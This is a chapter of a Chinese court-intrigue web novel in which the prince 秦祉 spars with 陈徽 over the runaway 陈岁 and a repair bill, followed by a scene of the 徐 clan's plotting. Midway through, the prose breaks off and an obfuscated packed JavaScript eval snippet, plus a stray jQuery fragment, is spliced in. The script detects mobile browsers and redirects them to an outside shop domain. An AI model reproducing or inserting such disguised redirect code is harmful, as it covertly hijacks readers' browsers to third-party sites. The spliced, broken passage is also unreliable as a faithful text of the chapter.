一碗温药喝下,半盏茶的时辰后,秦祉终于长舒了一口气:“......咳咳,活过来了。”
陈徽警惕地望着面前案几,至始至终一口未动。
“使君不必担心,但吃无妨。”秦祉笑道,“张舒这人精通医毒,就算有什么问题,让他来诊治就是。”
更让人担心了......
陈徽冷漠地看着她,没有插科打诨的心情:“我此番前来的目的仅有一个,那就是将陈岁带回域陵。”
“嗯。”秦祉颔首认同,“这是自然,你们陈氏的人来寻陈女公子,本王自然不能多加阻拦。”
“那还不......”
“可是本王不认识什么陈岁。”
陈徽气笑了:“殿下有些强词夺理吧?”
“怎会?你若想带人走,三年时间不曾派兵去寻,如今又如何从域陵一路南下,十几人的轻骑连过两州都追不到的人,偏偏知晓她会来晋赭找本王?”秦祉含笑反问,“莫不是别有用心吧?”
陈徽目光一暗,让她说准了。
他的确不是为陈岁而来,那不过只是一个借口,一个让他域陵太守能够涉足梌州也不被怀疑的借口。
“殿下够聪明。”
“免了。”秦祉说,“这话本王都要听腻了,每一个这么说的人之后做出来的事情一个比一个缺德。”
陈徽不善言辞,或者说以他的身份地位,尚且无人在他面前如此无礼,偏秦祉的每一句话都落在了难以预料的点,让他哑口无言。
“数月前,樵阳的休战盟约,蜀州牧楚旻从翼州失踪,至今下落不明,据说是被殿下的人护送离开,不知此人现在何处?”
“周氏和陈氏当年险些联姻,按理说关系应当还不错吧?”秦祉含笑反问,“周令要挟持楚旻一事,没跟你们陈家通信?”
“按理说,楚旻失踪,利好你呀域陵太守。”
陈徽神色一凛,抬眸看向主位,那人单手支着脑袋,似笑非笑地投来一股视线时,清俊雅逸的面容带着一丝风姿昧意,十分蛊惑人心。
“阿岁就是因为这个才跟你跑的?”
秦祉:“?”
陈徽冷哼一声,将视线瞥开。
“陈使君,你怕是你对姊妹有些误会。”秦祉面色冷淡下来,声音轻柔却不容置疑,“当年浍州战乱,战火一路南下波及蜀州,难民大量涌入,百姓流离失所,苦不堪言,蜀州牧和各郡太守皆奉旨进京不在当地,因此一时难以平息。”
“陈徽,你见过血染平野、易子而食的场面吗?见过民不聊生、尸骨未寒的乱象吗?见过人头累起足足几米高,如此耸人听闻的京观吗?”
“你......”
“你当然没有,你们哪里看得见?”
秦祉轻轻舒了一口气:“陈女公子虽出身显赫,但却有慈悲之心,不忍见百姓活活饿死,故而冒死开私仓救人,数千条人命因她而活,这便是洛书教最早的一批教徒。”
“她逃离域陵,逃离陈氏,只是因为她还想活命,想以陈岁之名活着。”秦祉嘲弄道,“你要说因为我?”
“若是因为我,那何不嫁给周和,虽说那个王八......”
数道视线同时射向秦祉,秦祉一顿,若无其事的抿了抿唇,暗道:说习惯了,从小和他就不对付,骂他多少年了,顺嘴冒出来这种事简直习以为常。
“咳,那个自诩有王霸之气的周和性格不怎么讨喜,脑袋也不怎么聪明,人还比较阴险。”
这到底是夸赞还是借着由头骂人泄愤呢?
“但是至少,样貌还说得过去。”秦祉指尖摩挲了一下下巴,“没道理偏生因为钟情本王就跟着私奔一样了吧?”
更何况还散布什么该死的谶纬,简直把她架在炉子上烤!
说到这个还没找她算这比账。
“哎说到这笔账,叫关和把朔昭阁的修葺费账单拟出来交给陈使君。”秦祉转念又想到了此事,挥手吩咐道。
怎么就又到账单的事了!这都什么乱七八糟的,哪跟哪啊!
四两拨千斤。
一句有用的信息没说就算了,还莫名其妙摆了本账书放到陈徽面前。
面前的女官笑眯眯地翻开,友好地开始了她的发言:“陈太守,根据朔昭阁房屋损毁面积来计算,包括屋檐坍塌将屋内大小设施一并砸坏,又刚好是阁主摆放饰品的仓库……”
哪里就这么刚好了,一看就是在骗人。
陈徽打断了对方的喋喋不休:“说重点,到底要干什么?”
关和恰到好处地将账本翻页,落到最后一行字,一字一顿道:“一共需要陈太守赔款三百八十一万金,但是介于我们阁主与陈氏多年渊源的份上,为您抹去零头,只需要三百八十万即可,陈太守,请。”
“三百八十......万?”陈徽声音又平又冷,“你怎么不去抢?”
“自然还是有区别的。”秦祉说,“仓库里放了先帝赐给本王的宝物,现在直接灰飞烟灭,好歹是域陵陈氏,十姓之一,别这么吝啬。”
“快,关和,备好纸墨让陈使君打个欠条。”
“恕在下失礼一问,先帝赐给殿下的是何物?”
骂天骂地骂百官的信件罢了......
“珠宝而已。”秦祉嫣然一笑。
----
“阁主,这欠条真有用,陈氏他们能认吗?”
秦祉身上的伤势未好,连夜周折又有了要裂开的迹象,她眼下躺在榻上,身侧张舒的怒火已经快要抑制不住的从脸上展现出来,连带着抹药的手劲都重了一分。
“嘶--”秦祉微微呲牙,吸了一口气,“张舒你......”
“忍着。”他面无表情的垂眸,“这么重的伤还没好就骑马,我看你也不怕这点疼。”
秦祉忍气吞声地将话题转走了:“这点钱对陈氏来说不算什么,最多觉得憋屈,好歹是陈岁干出来的事,陈徽不至于抵赖。”
“这么说来倒也奇怪,那么陈徽来此的目的究竟是为何,难不成当真是来冲着我们要楚旻的不成?”
“周令真的退兵了吗?”秦祉声音四平八稳,但说出的话却让关和怔住了,“您的意思是?”
“去查周令的几路兵马具体的撤退路线。”
怕是一分一秒都不能再耽搁下去了……
韩阁传信,西州两股势力趁中原混乱杀入殷州,阮义旧部未散,因此耽搁了不少时日,眼下终于进了梌州界内,但楚旻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12870582|126172||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
受伤,恐有他人趁机下手。
司昀带了一批人马亲自去接,而这十日,陈徽竟赖在晋赭迟迟不走,只是秦祉对其目的已经有了判断。
虽然天子尚在,但也不过是背后的掌权者换了一批人,仅此而已。
各州郡要争,既要争权利,又要争名望,在这场漩涡之中,大家族一夜覆灭之事,虽不至屡见不鲜,但也不是子虚乌有。
“你的意思是,陈徽想要试探你的势力?”柏萧鹤抱臂站在舆图前,听着耳边亲卫的汇报,缓缓开口。
“提出联姻的人是陈为,与周令做交易的也是陈为,都邑那一夜城门被开,是特意为了迎周令做准备,目的便是将诛讨阮义之威名死死扣在他头上,这么看来,支持周令的人还当真不少。”
“只是他们不曾想过你会半路杀出来,破了所有人的计划。”柏萧鹤轻笑道。
“不,是你我。”秦祉摇头挑眉,“别忘了咱们现在可是绑在一条绳上的蚂蚱。”
“只是……段姝焉说,是徐行。”秦祉蹙眉说,她想不明白,殷州徐氏究竟扮演了怎么样的一个角色。
“如果说他开城门的行为是站队周令的话,那就没有护送天子离开都邑的必要。”
柏萧鹤突然开口:“徐生……”
两人对视片刻,只觉得脑中思绪万千,隐约抓住了点苗头。
南风暖窗,绿肥红瘦。
殷州庐野别院,一人笑着仰倒在塌上:“哈哈哈哈真是天助我徐家!”
“天下群雄皆要抢这头功,却不想天子早已不在都邑,万事皆如徐行所料,只是不成想让那晋赭王来参了一脚,真是该死。”
“不管怎么说,屠玉也伤了晋赭王,算是扯平了……”
“扯平?”徐生冷笑一声,坐起身子,“他堂堂中郎将,连一个小亲王都拿不下,反被对方捅伤,这也叫扯平?”
“当日兰干他让我受尽屈辱,我徐生不将此仇还报,便……”
“徐公子,太仆有请。”门外侍从的声音轻而易举地打断了屋内的对话,徐生表情不善,一言不发地从榻上起身,在路过那人时,低眸狠狠地瞪了他一眼,侍从连忙埋头,避开这道锋芒的视线:“请。”
书房内,主位上的翩翩公子正与其下众人谈笑风声,徐生入门的那一瞬间,也不成想会同这些人见面。
殷州刺史许文棹、谋士张陏、竟然还有武将王戚?他不是壶甲关战死司缇之手了吗?为何会......在这?
“叔父......”数道视线同时回首落到自己身上,徐生那一刻感觉自己的心跳如雷贯耳,他险些失声,脑子里一团乱麻,只浅浅唤了一句徐行,便没了动静。
香气弥漫间,徐行凉薄的目光打量着面前这个侄子,半响笑道:“诸位,这便是我派去兰干理事的徐生,他年纪不大,正是需要历练的时候,望各位多多包涵。”
王戚粗粝的手指摩挲着头盔,闻言笑着回答:“这是自然,听闻小徐公子年纪虽小,但也是暗中动了不少粮草,兰干险些陷入困境,若非半道杀出一个晋赭王......”
这名字一出,空气中突然寂静了下来,王戚下意识回头观望着徐行的表情,只见后者意味深长地重复道:“晋赭王。”